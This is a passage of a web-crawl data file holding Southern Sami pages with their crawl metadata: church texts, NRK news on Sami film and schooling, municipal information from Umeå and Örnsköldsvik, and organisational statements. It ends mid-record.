tjuedtjielæmman jih ihkuve jueliemasse.\nHerrens bön på sydsamiska\nMijjen Aehtjie, guhte leah Elmie-rijhkesne. Baajh dov nommem aejliestovvedh. Baajh dov rïjhkem båetedh. Baajh dov syjhtedem, eatnamisnie sjïdtedh guktie Elmie-rïjhkesne. Vedtieh mijjese daan biejjien mijjen fïerhten-beajjetje laejpiem. Luejhtieh mijjeste maam mijjieh meadteme, guktie mijjieh luejhtebe dejstie guhth mijjese meadteme. Aellieh luejhtieh mijjem gïehtjelimmiej sijse, valla vaarjelh mijjem bahheste. Juktie rïjhke lea dov, faamoe jih earoe ihkuven aajkan. Aamen.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.svenskakyrkan.se\/harnosandsstift\/pa-samiska","date":"2018-05-21T01:32:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863901.24\/warc\/CC-MAIN-20180521004325-20180521024325-00618.warc.gz","language":"sma","language_score":0.9999426603,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"sma_Latn_score\": 0.9999426603317261}","num_words":297,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerre vaerie lea åenehks saemien filme maam dihte regissøre Amanda Kernell dorjeme. Daate akte vaajese mij gieries-voetem daan båarasåbpoe boelvese vuesehte. Dejtie mij fuelhkiem, saemien jieliemasseste slïejhteme jih sïebredahkesne tjaajanamme.\n- Lohkh aaj:http:\/\/www.nrk.no\/sapmi\/stoerre-vaerie-vant-publikumspris-for-beste-svenske-kortfilm-1.12171814\nStoerre vaerie guhkies filme sjædta.\nStoerre vaerien guhkies filme, edtja daan aahkan noere baelien jaepieh vuesiehtidh. Daelie ohtseminie tjiehpies dorjehtæjjah almetjh daan filmese. Patricia Fjellgren håhkesje jijnjh almetjh båetieh jih sijhtieh pryøvedh dorjedidh.\n– Daelie laavvardahken jih aejlegen edtjebe sjiehteles almetjh Snåasesne ohtsedidh. Guktie åadtjoeh pryøvedh kameran uvte dorjedidh, Fjellgrene jeahta.\nÅarjelsaemien dorjehtæjjah gaavnedh.\nJijnjh ovmesse almetjh daerpies.\n– Daejtie gøøkte åejvierollide joe almetjh gaavneme. Ohtseminie aahkam jih aajjam jih skuvlemaanah jih noere baerniem jih saemiejskuvlen maarhmorem jih jijnjh statisth, Fjellgrene bievnede.\nStoerre vaerien guhkies filmem edtjieh daan giesien Dearnesne jih Såekie boeltesne\/ Hemavansne filmedh.\n– Håhkesjem jijnjh sjiehteles dorjehtæjjah Snåasesne gaavnebe, Upmejesne orreme jih voerhtjen asken edtjebe Bienjedaelese jih Plassjese vuelkedh, Fjellgrene jeahta.\nStoerre vaerien åenehks filmem, maehtede Saemien sijtesne ,Snåasesne laavvardahken vuejnedh.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/stoerre-vaerie-guhkies-filme-sjaedta-1.12301522","date":"2018-05-21T17:38:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794864461.53\/warc\/CC-MAIN-20180521161639-20180521181639-00530.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":153,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Keskitalo goevten 6. biejjiem aavode sveerjesne bielesne Saepmeste. Daate akte heevehtimmiejaepie dan åvteste daelie 100 jaepieh mænngan voestes saemien rijhketjåanghkoe öörnesovvi Sveerjesne.\n– Akte stoerre aavoe munnjien åadtjodh meatan årrodh 100-jaepienaavoedimmesne sveerjen bielesne Saepmeste. Mijjieh akte åålmege bielelen rijhkeraasti bïjre pryöjjadidh, jïh abpe mov vaajmoste sïjhtem Staare 2018-öörnedimmieh seamma hijvenlaakan lyhkesieh goh Tråante 2017, Keskitalo jeahta.\nAbpe saemiedigkieraerie lea Staaresne daan våhkoen juktie aavoedidh jïh tjåanghkojde dåeriedidh mah leah desnie.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Laehkoehtimmieh-presidenteste-aavoedaemman-Saemiej-aaaalmegebiejjeste","date":"2018-05-23T14:30:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794865679.51\/warc\/CC-MAIN-20180523141759-20180523161759-00250.warc.gz","language":"sma","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000033378601074}","num_words":66,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nBuerie båeteme Orrestaaren tjïelten webbesæjjan.\nDaesnie datne bïevnesh gaavnh Orrestaaren bïjre jïh tjïelten barkoej jïh dïenesji bïjre.\nRïhpes ektieraeriestimmie dan nasjonelle unnebelåhkose saemieh\nGuktie Vualtjeren tjïelte saemien reeremedajvine barkeme\nOrrestaaren tjïelten unnebelåhkoeraerie håaloemasse jïh soptsestimmide böörie. Laila Daerga iktedæjja unnebelåhkojde jïh Malin Blind, gïetedallije unnebelåhkojde, gåabpatjahkh Vualtjeren tjïelteste, dej dååjrehtimmiej bïjre soptsestægan akte saemien reeremedajveste. Maam sæjhta jiehtedh reeremedajvem årrodh, guktie dorje jïh mannasinie daate vihkeles barkoe? Politihkerh jïh barkijh mej leah dïedte tjïelten unnebelåhkoepolitihkese aaj iehkeden meatan.\nGaajhkh, dovne saemieh jïh jeatjah mah ïedtjem utnieh, leah buerie båeteme, ij leah daerpies bïeljelidh sæjhta båetedh jïh mijjieh svarkeldahkem böörebe.\nGåessie: 15.b goevten asken, 18:00\nSijjie: Kommunhuset Kronan, Järnvägsgatan 6\nBuerie båeteme","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/sliperiet.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien.4.4c4feec515e441a88a91f91a.html","date":"2018-05-25T22:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867220.74\/warc\/CC-MAIN-20180525215613-20180525235613-00291.warc.gz","language":"sma","language_score":0.9999850988,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 0.9999850988388062}","num_words":112,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Daate uvtelasse vuesehte edtjieh åarjelsaemien gïelem girhkelidh. Daam tjoerem toelhkestidh nemhtie, dihte reereme ussjedamme daam onne gïelem jamkelidh. Åarjelsaemien gïele meatan daan UNESCO n læstosne goh akte dejstie unnemes gïelijste veartanisnie, Larsene jeahta.\nReeremen uvtelasse, staatenbudsjeedtesne vuesehte reereme edtja 3,3 millj kr spååredh jis Gaske-Nøørjen saemien skovlem steegkieh.\n- Lohkh vielie daaroen gïelesne:\n– Vihkeles maahtoejarngem dessieh.\nDaan biejjien Gaske-Nøørjen Saemien skovle faala, maajh-øøhpetimmiem jih tjåanghkoe våhkoe dejtie sijjien learohkidie. Lehkie dejstie learohkijstie mij maajh- øøhpetimmiem Nøørjesne åadtjoeh, Gaske-Nøørjen skovlen tjirrh luhkieh.\nDaate vihkeles maahtoe vaarjelidh, tuhtjie Larsen.\n– Nåake jis vïenhtieh, maehtieh dagkeres byjreskem vihth buektiehtidh jis skovlem steegkeme, mij åtna dam saemien gïele, kultuvre jih maajh-øøhpetimmie maahtoem, Larsone jeahta.\nReereme sæjhta skovlem steegkedh, dannasinie eah leah naan learohkh mij jijtjege skovlesne vaedtsieh. Gaske-Nøørjen saemien skovle lea maajh-øøhpetimmiem jaepeste 2011 faaleme.\nMaanah læjhkan reaktoem utnieh jih saemien gïele øøhpetimmiem åadtjodh.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/aarjelsaemien-gielem-girhkelieh-1.12592761","date":"2018-05-25T13:30:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867092.48\/warc\/CC-MAIN-20180525121739-20180525141739-00066.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":136,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïeljelimmie dorjesåvva akten elektrovneles svaalhtesen tjïrrh mij rïhpese tsïengelen 2. b. jïh lea ræhpas tsïengelen 15. b. raajan.\nSkyllijemaanah leah meatan ovmessie darjoeminie goh gyrhkesjimmiem hammoedidh, tjöövkedïenesje, jaahkoeööhpehtimmie jïh sosijaale darjomh ålkone jïh gåetesne. Doh golme saemien gïelh åarjelsaemien, julevsaemien jïh noerhtesaemien jïh nöörjen, åtnasuvvieh abpe jerkesne. Saemien gærhkoeraerie tjïerteste sjïehteladteme skyllijemaanalïerehtimmeste edtja gorredidh gaajhkesh demtieh dah bieline sjidtieh aktene saemiengïeleldh jaahkoeektievoetesne abpe jerkesne.\nSaemien gærhkoeraerie, åålmegh gusnie saemieh årroeh jïh doh golme noerhtemes bïspedajvh Saemien skyllijemaanajerkiem soejkesjieh jïh tjïrrehtieh goh akte laavenjostoe.\nUlmie lea saemien skyllijemaanajerkiem öörnedidh skyllijemaanide abpe laanteste. Saemien gærhkoeraerie lea gellie jaepieh saemien noerehïeljh öörnedamme kuvsjigujmie noere åvtehkidie. Noere åvtehkh leah meatan jerkiem tjïrrehtidh jïh dej akte jïjtjeraarehke dïedte bieliej åvteste skyllijemaanalïerehtimmeste.\nGovlehtallije:\nTove-Lill Labahå Magga\nseniorraeriestæjja jaahkoeööhpehtimmie\nEpåaste: email@example.com\nTell: 23081233","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/prod.kirken.cloudlab.no\/nb-NO\/om-kirken\/slik-styres-kirken\/samisk-kirkeliv\/adasa---nyheter\/saemien-skyllijemaanajerkie-2018\/","date":"2018-05-20T12:03:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863410.22\/warc\/CC-MAIN-20180520112233-20180520132233-00450.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":123,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maanide jïh noeride jeatjah ietniegïeline enn sveerjengïele Upmejen tjïelte faala ovmessie såarhth ööhpehtimmieh jïh dåarjoeh våaroemistie maanan daarpoe. Ietniegïele vihkeles maanan identiteetese jïh jïjtjedomtesasse jïh våarome maanan lïeremasse. Dïhte dorje maana sov mubpiengïelem jïh jeatjah skuvle-aamhtesh aelhkebe.\nIetniegïeleööhpehtimmie jïh ietniegïeledåarjoe\nIetniegïelen ulmie maana buerie vuekine edtja barkoem skuvlesne nåhtadidh jïh seamma aejkien sov guektiengïeledh identiteetem jïh maahtoem evtiedidh. Edtja sjïehteles vuekine barkedh guktie learohken persovneles evtiedimmiem skreejredh jïh learohken jïjtjedomtesem nænnoestidh. Dah lohkehtæjjah gïeh ietniengïeline ööhpehtidh daamhtaj båetieh seamma kultuvredajveste goh dah learohkh. Ietniegïelelohkehtæjjah buerie maahtoem sveerjen gïelesne jïh sveerjen siebriedahkem damtedh.\nIetniegïeledåarjoe gååvnese maanide aarhskuvle-aaltarisnie jïh daate maanan aarhskuvlesne 60 minudth våhkosne. Ietniegïeleööhpehtimmie sjïere faage maadthskuvlesne jïh jåarhkeskuvlesne jïh dïhte gaskem 40 jïh 70 minudth jis learohke maadthskuvlesne jallh jåarhkeskuvlesne.\nKrïevemh ietniengïelem lohkedh\nReaktam åådtje ietniegïeledåarjoe\/ietniegïeleööhpehtimmie dellie kreava akte maanan åelijste\/eejtegistie jallh gåabpatjahkh jeatjah ietniegïele åtna enn sveerjengïele jïh maanan gïelem aarkebiejjien åtna. Maana aarhskuvle-aaltarisnie tjuara golme jaepien illeme jis galka ietniegïeledåarjoem åadtjodh.\nDah krïevemh aaj:\n- Maana\/learohke maadthmaahtoem gïelesne åtna\n- sjïehteles lohkehtæjja gååvnese\n- unnemes vïjhte maanah\/learohkh åvtetjaalasovveme\nAdopteradamme maanide jeatjah ietniegïeline ij gïele daarpesjh aarkebiejjien gïelem årrodh.\nNasjovnellen unnebelåhkoegïelh, sjïere nænnoestimmieh\nMaanide jïh learoehkidie nasjovnellen unnebelåhkoegïeline saemien, meänkieli, romani chib, jiddisch jallh såevmiengïele sjïere njoelkedassh. Ietniegïeleööhpehtimmiem edtja faaledh jïlhts gïele ij leah maanan aarkebeajjetjen gïele gåetesne jïh jis ajve akte learohke tjaalasåvva.\nLearoehkidie saemiengïelesne saemieskuvlen kuvsjesoejkesje.\nAadtjen båateme maanah jïh learohkh\nMaanah jïh noerh aadtjen Sveerjese båateme nuepiem åadtjoeh meatan ryöjremen-aarhskuvlem jallh ööhpehtimmiem aadtjen båateme. Aadtjen båateme maadthskuvlelearohke aalka aktem Upmejen skuvline: Hedlundaskuvle learoehkidie aarhskuvleklaasseste jaepiekuvsje 6:se jïh Tegen centraleskuvle learoehkidie jaepiekuvsjine 7-9. Soptsestallemen mænngan dåastojereereminie learohkh maehtieh aelkedh ryöktesth jeatjah skuvlesne maam åelieh veeljeme. Noerh jåarhkeskuvle-aaltarisnie aelkieh gïeleintroduksjovnine.\n\"Ryöjremenskuvle\" aarhskuvle aadtjen båateme maanide jeatjah laantijste. \"Ööhpehtimmie aadtjen båetijidie sjïere ööhpehtimmiedåehkesne\" maadthskuvledåehkieh aadtjen båateme learoehkidie jeatjah laantijste. Maanah jïh noerh darjoeminie leah guessiedotkiji maanah Upmejen universiteetesne, baataræjjaj, asyjleohtsijh jallh sijsjuhtiji maanah gïeh ovmessie sjïeki åvteste Sveerjese båateme.\nMaanide åenehks tïjjem Upmejisnie årroeh\nMaanah fuelhkine mah åenehks tïjjem Upmejisnie årroeh vuesiehtimmien gaavhtan guessiedotkiji maanah, reaktam utnieh maanahoksese jïh skuvlem vaedtsieh. Upmeje aaj jïjjegaahpode darjome maanide 1-12 jaepieh jis åelieh berkieh iehkeden, jïjjen jïh hïeljen. Hedlundaskuvle Upmejen jarngesne dåastohte learohkh gïeh sijhtieh sveerjen gïelem lïeredh. Upmejen aaj Gïele-aarhskuvle jïh Gïeleskuvle mah faelieh ööhpehtimmiem jeatjah gïeline. Ij skuvlem faalh eejehtimmesne gosse skuvlem dahpa. Maanahokse giesie-eejehtimmesne kreava åelieh leah ohtseme jïh sijjiem faaleme aarhskuvlesne jallh eejehtsgåetesne.","id":"","dump":"CC-MAIN-2018-22","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/ietniegieleaadtjenbaatememaanahjihlearohkh.4.3f5fc95914ce7bcf45114d43.html","date":"2018-05-26T09:58:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794867416.82\/warc\/CC-MAIN-20180526092847-20180526112847-00170.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":378,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.095,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Politihkeles tsevtseme\nNöörjen evtiedimmie- jïh ålkoerijhkepolitihke, jïh nöörjen jielemeïedtjh, joekehtslaakan ööhpehtimmiem jïh evtiedimmiem Åarjene tsevtsieh. SAIH lea akte krirriepolitihkeles jïjtjeraarehke siebrie mij barkeminie prosessh Nöörjesne tsevtsedh mah konsekvensh utnieh evtiedæmman Åarjene.\nGoh solidariteetesiebrie SAIH sæjhta tjoevkesem bïejedh guktie joekehts almetjh Åarjene veasoeminie, jïh dejtie gaskenasjovnaale struktuvride jïh dahkojde Noerhtene mah aktem ovreakta veartenen sjugniedieh jïh tjåadtjoehtieh. Dan barkoen tjïrrh mejnie Nöörjesne gïehtelibie, SAIH vuajnoeh buakta mijjen guejmijste Åarjene, jïh åssjalommesem buakta mij jeahta ööhpehtimmie jïh voerkelimmie leah vihkeles vierhtieh juktie evtiedimmiem eevtjedh, dovne Noerhtene jïh Åarjene. SAIH gaskenasjovnaale gyhtjelassh biejjeöörnegasse beaja universiteetine jïh jïlleskuvline abpe Nöörjesne viehkine kampanjijste, seminaarijste, digkiedimmijste jïh våajnoes årrodh studente- jïh rijhkemeedijesne.\nViehkie oktebisnie ij maehtieh aktem reakta veartenem sjugniedidh. Ræjhkoes laanth Noerhtene tjuerieh aaj politihkem jarkelidh mij evtiedimmiem nåakelaakan tsavtsa dejnie laantine Åarjene.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/saih.no\/southern-sami\/vart-arbeid\/politikk","date":"2018-05-24T16:01:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794866511.32\/warc\/CC-MAIN-20180524151157-20180524171157-00378.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":128,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea njealjede jaepien Kråvne prinsepaarre, Nøørjen noere åejvieladtjede daan Vijsies ålmaj beajjan, Skaugumse bøøreme.\nLuhkiegåalmede biejjien jåvli mænngan dellie lea Vijsies ålmaj biejjie.\nDej baaletji daate vihkeles biejjie. Bïhkedimmie guktie tjiehpies åejvie sjïdtedh. Båeries vaajesen tjïrrh, dellie dah golme vijsies ålmaj, golme veartene roenijste bøøtin. Dah joekehth kultuvrijste jih sjïere åssjaldahkh utnin.\nDannasinie sæjhta Kråvne prinsepaarre dåarjoedidh jih viehkiedidh daejtie Nøørjen noere åejvieladtjide, guktie maehtieh barkoem evtiedidh. Dan gaavhtan edtjieh Skaugumsne tsiengelen 9 .b. gaavnedidh.\nNøørjen Båatsoesaemiej Rijhkesaervien (NBR) åvtehke Ellinor M Jåma dahka aaj bøøresovveme. Dihte geerjene daan åvteste.\n– Mijjieh edtjebe raarastalledh guktie tjïehpies- laakan åajvine barkedh jih guktie mijjien barkoem evtiedidh. Edtjem dahka jih vaenie daan biejjien bijre govleme.\nEdtjebe murriedidh jih aaj ektesne dagkeres barkoedåehkine «Work shop» barkedh.\nJeatja noere åejvie gujmie åahpenadtedh.\nEllinor M Jåma edtja båatsoen bire bievnedidh.\n– Sijhtem orre almetjh råakedh jih dej gujmie åahpenadtedh. Daate gieltegs sjædta. Dej orre åahpetji gujmie, maahtam mov barkosne nuhtjedh. Manne edtjem nuepiem vaeltedh jih båatsoen bijre soptsestidh jih dej haesteme bijre bievnedidh. Jåma jeahta.","id":"","dump":"CC-MAIN-2018-22","url":"https:\/\/www.nrk.no\/sapmi\/noere-aejvieladtjh-edtjieh-aahpenadtedh-1.12138084","date":"2018-05-21T09:09:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-22\/segments\/1526794863972.16\/warc\/CC-MAIN-20180521082806-20180521102806-00235.warc.gz","language":"sma","language_score":0.9999796152,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999796152114868}","num_words":167,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.072,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Daerpies jienebi dokumentaarigujmie Saepmeste\nGelliej jaepiej tjïrrh Jåma lea akte dejstie vihkielommes almetjijstie orreme filmen jïh TV:n sisnjeli Sveerjesne. Jåma lea gellie produksjovnh dorjeme jïh daan gïjren dovne filmepremijeere jïh gulliebaalhka sjïdti USA:sne. Dïhte veanhta TV-stasjovnh Saepmesne tjuerieh sijjen dïedtem vaeltedh jïh jienebh saemien dokumentaarh darjodh.\n– Mijjieh jienebh dokumentaarh Saepmeste daarpesjibie jïh dan åvteste joekoen SVT jïh NRK tjuerieh sijjen dïedtem vaeltedh. Daan biejjien åajvahkommes sjollehtimmie mij dejstie saemien jarngedajvijste dorjesåvva. Jeenjesh annje vaenie daejrieh saemien kultuvren, histovrijen jïh aarkebiejjien jieleden bïjre, jïh dan åvteste TV-sïelth tjuerieh eevtjedh jienebh dokumentaarh darjodh. Juvredåeriesmoerh, bïegkejårrehtsh jïh numhtie vijriesåbpoe eah mahte neebnesovvh gænnah, baalhkavitnije veanhta.\nAareh daan gïjren Jåma lij New Yorkesne juktie gulliebaalhkam dåastodh sov barkoen åvteste dokumentaarine \"Fra Clinton til Clinton\" gaahtjemisnie New York Festivals International TV & Film Awards Las Vegasisnie.\nFolke Rydénine ektine Jåma lea dam amerijhkanen presidenteveeljemem dåeriedamme 24 jaepieh. Tïjjeperspektijven gaavhtan, dah vienhtieh sijjieh aktem akte sjïere nuepiem åadtjoejin dam minngemes presidenteveeljemem buerkiestidh akten jeatjah perspektijven tjïrrh.\n– Filme våaromem jïh goerkesem vadta naakedasse dejstie joekehts vuajnojste jïh vuestiebieliejstie mijjieh USA:sne vuejnebe raaktan daelie, filmesjugniedæjjah aktene pressebïevnesisnie soptsestieh.\nJåma gegkeste plearoeh produksjovnh aaj maehtieh Saepmeste båetedh.\n– Dïhte maam Saemien Filmeinstituhte jïh Anne Lajla Utsi leah buektiehtamme lea joekoen hijven, men eah gujht dah maehtieh dokmentaarefilmh oktegh finansieradidh. Dan åvteste hov tïjje båateme aaj jeatjah aktöörh beetnehdåarjojne båetieh, Jåma veanhta.\nJåma lea jïjtje gelliej produksjovnigujmie barkeme dovne dokumentaaresjangeren jïh spïele- jïh novellafilmen sisnjeli mænngan barkoem SVT:sne åadtjoeji jaepien 1977. Gaskem jeatjah lij meatan Sovjetunijovnen nåhkelimmiem vihtiesti, jïh lij aaj stoerene Romanijisnie revolusjovnebiejjiej.\n– Lij joekoen gieltegs aktem siebriedahkem vuejnedh mij dan tjarke jorkesi ajve muvhtine gille biejjine, Jåma jeahta.\nDaan gïjren premijeerem utni åenehksfilmesne \"Garm\" mij lea ryöjnesjimmiebïenjen bïjre Garm jïh altese aarkebiejjien bïjre krievvine.\n– Dïhte vihkielommes manne jïh jeatjebh darjobe lea soptsesh soptsestidh. ibie gåessie gih tjoerh orrijidh almetji vuerpiej bïjre soptsestidh, mijjen moraalen bïjre. Doh greeske vaassjegeajnoeh hov annje jielieminie. Hamleten stuhtjh scenesne vååjnoeh abpe veartenisnie. Mijjieh almetjh dan varke åajaldibie guktie vihkeles sinsitniem måjhtajehtedh mennie veartenisnie mijjieh jielieminie, mij lea bååktjehke jïh mij lea njaelkie. Daejtie soptsesidie tjoerebe jåerhkedh soptsestidh, histovrijesoptsestæjja minngemosth jeahta.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/samimag.no\/sma\/content\/daerpies-jienebi-dokumentaarigujmie-saepmeste","date":"2018-06-20T15:16:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863650.42\/warc\/CC-MAIN-20180620143814-20180620163814-00300.warc.gz","language":"sma","language_score":0.9999873638,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999873638153076}","num_words":343,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Startsida\n- Funktionsmappar\nMahte gaajhkh upmejenåålmegh leah tjïelten tjaetsievierhkem meatan. Vakin (tjïelten bolage) dah tjïelten tjaetsievierhkh jåhta jïh tjïelte tjaetsiem vååksje programmij mearan jïh krinsevierhtieh buerie tjaetsiekvalijtehtem årroeh. Tjaetsie tjaetsievierhkijste ij ajve jovkemidie jïh beapmoejurjiehtimmide utnieh — seamma tjaetsie maam lihtieh jïh vaarjoeh bissedh jïh ohtjegåetide utnieh. Forslunda, mij dïhte stööremes tjaetsievierhke, destie båata medtie 90 procenth tjïelten daarpoeh jovkemetjaetseste. Tjaetsie mij Forslundeste båata lea dan buerie kvalijtete. Jovkemetjaetsie båata våarometjaetseste maam aelhkies gietedimmien tjïrrh jåhta ruevtieh destie vaalta jïh pH-vierhtem bijjede. Tjaetsesne dan vaenie bakterijh juktie ij daarpesjh dïsse klorem biejedh.\nVoenesne jïh eejehtsdajvine tjaetsie sjïere prutneste båata jallh jis jeenebh gåetieh seamma prutneste.\nMaahta aaj buerie daejredh tjaetsiem lea myövhkes, jïh destie båata ij daarpesjh jeenjebe bisseme- jallh sjyökememiedtelh biejedh goh vueliehkommes åesiem maam pahkesne tjåådtje. Byjresken åvteste ij edtjh jeenjebe biejedh juktie jeenjebem johkide, jeanojde jïh jaevride båata.\nVakin, telefovne: 090-16 19 00, e-påaste: firstname.lastname@example.org\nByjreske jïh healsoevaarjelimmie, telefovne: 090-16 16 97\nSidan har granskats 2016-12-20\nUmeå är en kulturstad i Europa. Här finns två universitet, ett livskraftigt näringsliv och ett attraktivt utbud av kultur och fritid.\nUmeå kommun är regionens största arbetsgivare. Med gemensamma krafter skapar vi välfärd och samhällsnytta för kommunens invånare.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/www.umea.se\/umeakommun\/funktionsmappar\/sprak\/languages\/samegielat\/siebredahkehoksetimmieh\/jovkemetjaetsie.4.2aeb902411d30c9e460800061453.html","date":"2018-06-19T15:59:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863100.8\/warc\/CC-MAIN-20180619154023-20180619174023-00471.warc.gz","language":"sma","language_score":0.999904871,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999048709869385}","num_words":187,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aajhtoeh bæjngoelistie mijjen aerpievuekien jieliemidie haestieh, jïh båatsoe lea sjïerelaakan behtjiedamme. Itjmies dejtie fuelhkide mah båatsojne gïehtelieh, jïh dan åvteste båatsoe lea akte dejstie guedtije tsegkijste saemien kultuvresne dellie aaj itjmies don saemien siebriedahkese.\nVeeljeme 2017\nStåvroen lïhtsege Nöörjen Saemiej Rijhkesiebresne (NSR N) Maja Kristine Jåman håhkoe åadtjoe aaj båetije biejjide båatsojne jïh båatsojste jieledh. Daelie håhkoem håvhtedåvva Europan stööremes bïegkefaamoeprosjeekte Stoerretjahkesne Fovsesne.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/nsr.no\/emne\/veeljeme-2017\/?lang=sma","date":"2018-06-21T02:55:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267864019.29\/warc\/CC-MAIN-20180621020632-20180621040632-00508.warc.gz","language":"sma","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999990463256836}","num_words":62,"character_repetition_ratio":0.03,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Frijje reaktaviehkie\nFrijje reaktaviehkie lea advokaateviehkie man åvteste staate ållesth jallh ånnetji maaksa. Frijje reaktaviehkie lea dovne frijje reaktaraerie jïh frijje aamhtesejuhteme. Frijje reaktaraerie lea bïhkedimmie jïh viehkie juridihkeles gyhtjelassine reaktan ålkolen. Frijje aamhtesejuhteme lea reaktaviehkie aamhtesisnie mah dåapmestovline juhtieh.\nNaan såarhts aamhtesinie maahtah ekonomeles dåarjoem åadtjodh juridihkeles raeriestæmman, jallh dåarjoem jis edtjh reaktaaamhtesem dåapmestovlide juhtedh. Jis frijje reaktaviehkiem daarpesjh, maahtah Fylhkenålmine jallh aktine advokaatine soptsestidh.\nMennie såarhts aamhtesinie maahtah frijje reaktaviehkiem åadtjodh?\nDej aamhtesi gaskem gusnie maahtah frijje reaktaviehkiem åadtjodh lea fuelhkieaamhtesh, naan såarhts klååkemeaamhtesh NAV'se, maaksoe persovneskaaran åvteste, hiejhteme\/beelhkesovveme gåeteste jallh jis barkoste hiejhtesovveme. Maahtah aaj frijje 